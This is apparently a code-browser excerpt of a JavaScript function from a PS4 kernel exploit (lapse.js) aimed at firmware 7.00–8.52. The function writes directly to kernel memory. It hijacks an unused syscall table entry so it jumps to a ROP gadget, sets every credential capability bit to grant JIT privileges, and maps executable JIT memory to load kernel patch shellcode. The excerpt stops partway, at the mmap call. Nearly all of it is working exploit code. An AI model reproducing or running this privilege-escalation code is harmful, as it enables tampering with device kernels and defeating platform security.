Function patch_kernel

g2all/700/lapse.js:1534–1649

(kbase, kmem, p_ucred, restore_info)

// some trick toggle the CR0.WP bit. We can just toggle it easily within our
// shellcode.
async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
  if (!is_ps4) {
    throw RangeError("ps5 kernel patching unsupported");
  }
  if (!(0x700 <= version && version < 0x900)) {
    // Only 7.00-8.52 supported
    throw RangeError("kernel patching unsupported");
  }

  log("change sys_aio_submit() to sys_kexec()");
  // sysent[661] is unimplemented so free for use
  const sysent_661 = kbase.add(off_sysent_661);
  const sysent_661_save = new Buffer(0x30); // sizeof syscall
  for (let off = 0; off < sysent_661_save.size; off += 8) {
    sysent_661_save.write64(off, kmem.read64(sysent_661.add(off)));
  }
  log(`sysent[611] save addr: ${sysent_661_save.addr}`);
  log("sysent[611] save data:");
  hexdump(sysent_661_save);
  // .sy_narg = 6
  kmem.write32(sysent_661, 6);
  // .sy_call = gadgets['jmp qword ptr [rsi]']
  kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi));
  // .sy_thrcnt = SY_THR_STATIC
  kmem.write32(sysent_661.add(0x2c), 1);

  log("set the bits for JIT privs");
  // TODO: Just set the bits for JIT privs
  // cr_sceCaps[0] // 0x2000038000000000
  kmem.write64(p_ucred.add(0x60), -1); // 0xffffffffffffffff
  // cr_sceCaps[1] // 0x800000000000ff00
  kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff

  const buf = await get_patches(patch_elf_loc);
  const patches = new View1(await buf, 0x1000);
  let map_size = patches.size;
  const max_size = 0x10000000;
  if (map_size > max_size) {
    die(`patch file too large (>${max_size}): ${map_size}`);
  }
  if (map_size === 0) {
    die("patch file size is zero");
  }
  log(`kpatch size: ${map_size} bytes`);
  map_size = (map_size + page_size) & -page_size;

  const prot_rw = 3;
  const prot_rx = 5;
  const prot_rwx = 7;
  const exec_p = new Int(0, 9);
  const write_p = new Int(max_size, 9);

  log("open JIT fds");
  const exec_fd = sysi("jitshm_create", 0, map_size, prot_rwx);
  const write_fd = sysi("jitshm_alias", exec_fd, prot_rw);

  log("mmap for kpatch shellcode");
  const exec_addr = chain.sysp("mmap", exec_p, map_size, prot_rx, MAP_SHARED | MAP_FIXED, exec_fd, 0);